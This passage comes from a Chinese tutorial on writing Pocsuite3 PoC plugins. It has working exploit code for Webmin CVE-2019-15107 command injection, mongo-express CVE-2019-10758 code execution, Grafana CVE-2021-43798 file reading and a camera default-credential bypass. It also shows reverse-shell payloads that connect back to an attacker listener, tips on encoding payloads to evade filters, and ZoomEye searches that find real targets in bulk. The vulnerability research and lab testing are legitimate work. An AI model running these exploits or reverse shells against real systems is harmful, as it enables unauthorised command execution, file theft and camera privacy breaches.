模式，验证漏洞存在。验证方式取决于具体的漏洞类型，比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果，结合 DNSLog 带外回显等。该模式用于批量漏洞排查，一般不需要用户提供额外参数 ，且应尽可能对目标无害。 2、attack 模式，攻击模式，可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。 3、shell 模式，获取交互式 shell，此模式下会默认监听本机的 6666 端口（可通过 `--lhost`、`--lport` 参数修改），编写对应的代码，让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。反连 Payload 可参考：[GTFOBins Reverse shell](https://gtfobins.github.io/#+reverse%20shell)。 在 PoC 插件中，attack 模式和 shell 模式的实现是可选的。 ## 5.2 PoC 插件基类 为了简化 PoC 插件的编写，Pocsuite3 实现了 PoC 基类：`POCBase`，很多共用的代码片段都可以放到此基类中。我们编写 PoC 时，只需要继承该基类就可，比较常用的属性和方法如下： 常用属性： self.url # 目标 url self.scheme # 目标 url 的协议 self.rhost # 目标 url 的主机名 self.rport # 目标 url 的端口 self.host_ip # 本机的 wan 口 ip 常用方法： self._check() # 端口开放检查、http/https 协议自动纠正、dork 检查、蜜罐检查 self.get_option('key') # 获取命令行参数 --key 的值 self.parse_output({}) # 返回结果的方法，参数是一个字典 ## 5.3 Webmin 未授权远程命令执行漏洞（CVE-2019-15107） 漏洞细节：[Webmin Unauthenticated Remote Execution](https://www.seebug.org/vuldb/ssvid-98060) Webmin 是功能强大的基于 Web 的 Unix 系统管理工具，管理员可以通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。`Webmin <= 1.920` 版本的 `/password_change.cgi` 接口存在一处未授权命令注入漏洞。 基于网上公开的漏洞细节，我们可以很容易的开发出该漏洞的 PoC 插件。首先使用 `--new` 参数生成 PoC 模版（如果嫌属性比较多，一路回车即可）： →pocsuite --new ... You are about to be asked to enter information that will be used to create a poc template. There are quite a few fields but you can leave some blank. For some fields there will be a default value. ----- Seebug ssvid (eg, 99335) [0]: 98060 # Seebug 漏洞收录ID，如果没有则为0 PoC author (eg, Seebug) []: Seebug # PoC 的作者 Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19 # 漏洞公开日期 Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98060]: # 漏洞来源地址 Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107 # CVE 编号 Vendor name (eg, Fortinet) []: # 厂商名称 Product or component name (eg, FortiWeb) []: Webmin # 漏洞应用名称 Affected version (eg, <=6.4.0) []: <=1.920 # 漏洞影响版本 Vendor homepage (eg, https://www.fortinet.com) []: https://www.webmin.com # 厂商官网 0 Arbitrary File Read 1 Code Execution 2 Command Execution 3 Denial Of service 4 Information Disclosure 5 Login Bypass 6 Path Traversal 7 SQL Injection 8 SSRF 9 XSS Vulnerability type, choose from above or provide (eg, 3) []: 2 # 选择漏洞类型 Authentication Required (eg, yes) [no]: no # 漏洞是否需要认证 Can we get result of command (eg, yes) [no]: yes # 是否可以获取命令执行结果 PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]: # PoC 名称 Filepath in which to save the poc [./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py] # 保存 PoC 的文件路径 [14:50:49] [INFO] Your poc has been saved in ./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py :) 生成的 PoC 模版如下： #!/usr/bin/env python3 # -*- coding: utf-8 -*- # 建议统一从 pocsuite3.api 导入 from pocsuite3.api import ( minimum_version_required, POCBase, register_poc, requests, logger, OptString, OrderedDict, random_str, get_listener_ip, get_listener_port, REVERSE_PAYLOAD ) # 限定框架版本，避免在老的框架上运行新的 PoC 插件 minimum_version_required('1.9.6') # DemoPOC 类，继承自基类 POCBase class DemoPOC(POCBase): # PoC 和漏洞的属性信息 vulID = '98060' version = '1' author = 'Seebug' vulDate = '2019-08-19' createDate = '2022-07-11' updateDate = '2022-07-11' references = ['https://www.seebug.org/vuldb/ssvid-98060'] name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)' appPowerLink = 'https://www.webmin.com' appName = 'Webmin' appVersion = '<=1.920' vulType = 'Command Execution' desc = 'Vulnerability description' samples = [''] # 测试样列，就是用 PoC 测试成功的目标 install_requires = [''] # PoC 第三方模块依赖 pocDesc = 'User manual of poc' # 搜索 dork，如果运行 PoC 时不提供目标且该字段不为空，将会调用插件从搜索引擎获取目标。 dork = {'zoomeye': ''} suricata_request = '' suricata_response = '' # 定义额外的命令行参数，用于 attack 模式 def _options(self): o = OrderedDict() o['cmd'] = OptString('uname -a', description='The command to execute') return o # 漏洞的核心方法 def _exploit(self, param=''): # 使用 self._check() 方法检查目标是否存活，是否是关键词蜜罐。 if not self._check(dork=''): return False headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = 'a=b' res = requests.post(self.url, headers=headers, data=payload) logger.debug(res.text) return res.text # verify 模式的实现 def _verify(self): result = {} flag = random_str(6) param = f'echo {flag}' res = self._exploit(param) if res and flag in res: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo'][param] = res # 统一调用 self.parse_output() 返回结果 return self.parse_output(result) # attack 模式的实现 def _attack(self): result = {} # self.get_option() 方法可以获取自定义的命令行参数 param = self.get_option('cmd') res = self._exploit(param) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo'][param] = res # 统一调用 self.parse_output() 返回结果 return self.parse_output(result) # shell 模式的实现 def _shell(self): try: self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())) except Exception: pass # 将该 PoC 注册到框架。 register_poc(DemoPOC) 在以上 PoC 模版的基础上，结合漏洞细节，重写 `_exploit()` 方法，如下： def _exploit(self, param=''): if not self._check(dork='<title>Login to Webmin</title>'): return False headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'{self.url}/session_login.cgi' } payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2' res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload) logger.debug(res.text) return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0] 然后就是搭建 docker 靶场测试了，`docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107`。 verify 模式 ok： attack 模式获取命令行参数执行并返回结果，`--options` 参数可以查看 PoC 定义的额外命令行参数： shell 模式用 bash 的反连回不来，未深究，改用 python 的就可以了。需要注意的是，由于反连 payload 存在一些特殊字符，需要结合漏洞具体情况具体分析，比如使用 base64 编码等绕过限制。 def _shell(self): try: - self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())) + self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port())) except Exception: pass shell 模式 ok： ## 5.4 mongo-express 认证远程代码执行漏洞（CVE-2019-10758） 漏洞细节：[mongo-express远程代码执行漏洞（CVE-2019-10758）](https://www.seebug.org/vuldb/ssvid-98116) Mongo-express 是一个基于 Node.js 和 express 的开源的 MongoDB Web 管理界面。`mongo-express <= 0.53.0` 版本存在认证远程代码执行漏洞。如果攻击者可以成功登录，或者目标服务器没有修改默认的账号密码（`admin:pass`），则可以执行任意 node.js 代码。 使用 `pocsuite --new` 生成模版，由于该漏洞没有回显，我们使用 [CEye](http://www.ceye.io) 或者 [Interactsh](https://github.com/projectdiscovery/interactsh) 等 DNSLog 服务来辅助验证。 [Interactsh](https://github.com/projectdiscovery/interactsh) 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具，只要有一个域名，就可以快速搭建属于自己的 oob 服务。网上也有一些公开可用的，如：`interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me`。 生成模版： →pocsuite --new ... ----- Seebug ssvid (eg, 99335) [0]: 98116 PoC author (eg, Seebug) []: Seebug Vulnerability disclosure date (eg, 2021-8-18) [2022-7-11]: 2020-01-03 Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98116]: Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-10758 Vendor name (eg, Fortinet) []: Product or component name (eg, FortiWeb) []: mongo-express Affected version (eg, <=6.4.0) []: <=0.53.0 Vendor homepage (eg, https://www.fortinet.com) []: https://github.com/mongo-express/mongo-express 0 Arbitrary File Read 1 Code Execution 2 Command Execution 3 Denial Of service 4 Information Disclosure 5 Login Bypass 6 Path Traversal 7 SQL Injection 8 SSRF 9 XSS Vulnerability type, choose from above or provide (eg, 3) []: 1 Authentication Required (eg, yes) [no]: yes # 漏洞需要认证 Can we get result of command (eg, yes) [no]: no # 漏洞无回显 Out-of-band server to use (eg, interactsh) [ceye]: interactsh # 选择使用哪个 oob 服务 ... 根据漏洞细节，对模版进行简单修改： def _options(self): o = OrderedDict() - o['user'] = OptString('', description='The username to authenticate as', require=True) - o['pwd'] = OptString('', description='The password for the username', require=True) + o['user'] = OptString('admin', description='The username to authenticate as', require=True) + o['pwd'] = OptString('pass', description='The password for the username', require=True) o['cmd'] = OptString('uname -a', description='The command to execute') return o def _exploit(self, param=''): - if not self._check(dork=''): + if not self._check(dork='mongo-express='): return False user = self.get_option('user') pwd = self.get_option('pwd') headers = {'Content-Type': 'application/x-www-form-urlencoded'} - payload = 'a=b' - res = requests.post(self.url, headers=headers, data=payload) + payload = ( + 'document=this.constructor.constructor("return process")().' + f'mainModule.require("child_process").execSync("{param}")' + ) + res = requests.post(f'{self.url}/checkValid', headers=headers, data=payload, auth=(user, pwd)) logger.debug(res.text) return res.text 搭建靶场：<https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758> 漏洞验证，通过命令行参数 `--user admin --pwd pass --oob-server interact.sh` 分别指定了用户名、密码、和使用的 DNSLog 服务地址，也可以不指定，使用默认值。 ## 5.5 Grafana 未授权任意文件读取漏洞（CVE-2021-43798） 漏洞细节：[Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)](https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/) Grafana 是一个跨平台、开源的数据可视化网络应用程序平台。`Grafana v8.0.0-beta1` 到 `v8.3.0` 存在未授权任意文件读取漏洞。 生成模版： →pocsuite --new ... ----- Seebug ssvid (eg, 99335) [0]: 99398 PoC author (eg, Seebug) []: Seebug Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2021-12-07 Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-99398]: Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2021-43798 Vendor name (eg, Fortinet) []: Product or component name (eg, FortiWeb) []: Grafana Affected version (eg, <=6.4.0) []: <=8.3.0 Vendor homepage (eg, https://www.fortinet.com) []: https://grafana.com 0 Arbitrary File Read 1 Code Execution 2 Command Execution 3 Denial Of service 4 Information Disclosure 5 Login Bypass 6 Path Traversal 7 SQL Injection 8 SSRF 9 XSS Vulnerability type, choose from above or provide (eg, 3) []: 0 Authentication Required (eg, yes) [no]: no ... 根据公开的漏洞细节，修改 `_exploit` 方法： def _exploit(self, param=''): - if not self._check(dork=''): + if not self._check(dork='Grafana', allow_redirects=True): return False - headers = {'Content-Type': 'application/x-www-form-urlencoded'} - payload = 'a=b' - res = requests.post(self.url, headers=headers, data=payload) + res = requests.get(f'{self.url}/public/plugins/grafana/../../../../../../../..{param}') logger.debug(res.text) return res.text 搭建靶场：`docker run -it --rm -p 3000:3000 pocsuite3/cve-2021-43798` verify 模式效果： 追加 `-o a.json` 参数可以把结果保存为 JSON Lines 格式的文件。 attack 模式，从命令行获取文件路径并返回结果。 针对目录穿越漏洞，有个比较坑的点是 `urlib3>1.24.3` 版本会从请求 URL 中删除 `../`，这影响了很多安全工具，具体可见 issue：<https://github.com/urllib3/urllib3/issues/1790> Pocsuite3 hook 了 urllib3 和 requests 的部分代码，支持 `../`，同时取消了对特殊字符的编码。 ## 5.6 某网络摄像头登录绕过漏洞 漏洞细节：[某网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告](https://paper.seebug.org/653/) 该品牌摄像头的 Web 服务基于 HTTP 基本认证，存在三组默认凭证，分别对应不同的权限等级。三组默认凭证分别为：`admin:admin`，`user:user`，`guest:guest`，安装时 APP 只会提醒修改 admin 账户的默认密码。 值得一提的是，user 账户和 guest 账户也可以查看视频流，大部分用户不会修改这些账户的默认密码，导致隐私泄漏。 生成模版： →pocsuite --new ... 0 Arbitrary File Read 1 Code Execution 2 Command Execution 3 Denial Of service 4 Information Disclosure 5 Login Bypass 6 Path Traversal 7 SQL Injection 8 SSRF 9 XSS Vulnerability type, choose from above or provide (eg, 3) []: 5 ... 修改模版： - def _options(self): - o = OrderedDict() - o['param'] = OptString('', description='The param') - return o - def _exploit(self, param=''): - if not self._check(dork=''): + if not self._check(dork='Error: username or password error,please input again.'): return False - headers = {'Content-Type': 'application/x-www-form-urlencoded'} - payload = 'a=b' - res = requests.post(self.url, headers=headers, data=payload) - logger.debug(res.text) - return res.text + creds = {'admin': 'admin', 'user': 'user', 'guest': 'guest'} + valid_creds = {} + for u, p in creds.items(): + res = requests.get(self.url, auth=(u, p)) + if res.status_code != 401: + valid_creds[u] = p + return valid_creds def _verify(self): result = {} @@ -53,17 +48,11 @@ class DemoPOC(POCBase): if res: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url - result['VerifyInfo'][param] = res + result['VerifyInfo']['Info'] = res return self.parse_output(result) def _attack(self): - result = {} - param = self.get_option('param') - res = self._exploit(param) - result['VerifyInfo'] = {} - result['VerifyInfo']['URL'] = self.url - result['VerifyInfo'][param] = res - return self.parse_output(result) + return self._verify() 使用 `--dork-zoomeye` 指定关键词从 ZoomEye 检索目标进行检测。 # 6 最后 如果在使用过程中遇到任何问题，或者有啥新想法，欢迎提交 issue (<https://github.com/knownsec/pocsuite3/issues/new>) 或者 PR (<https://github.com/knownsec/pocsuite3/compare>) 附Pocsuite3演示视频：<https://weibo.com/u/2346192380?tabtype=newVideo> * * *
社区文章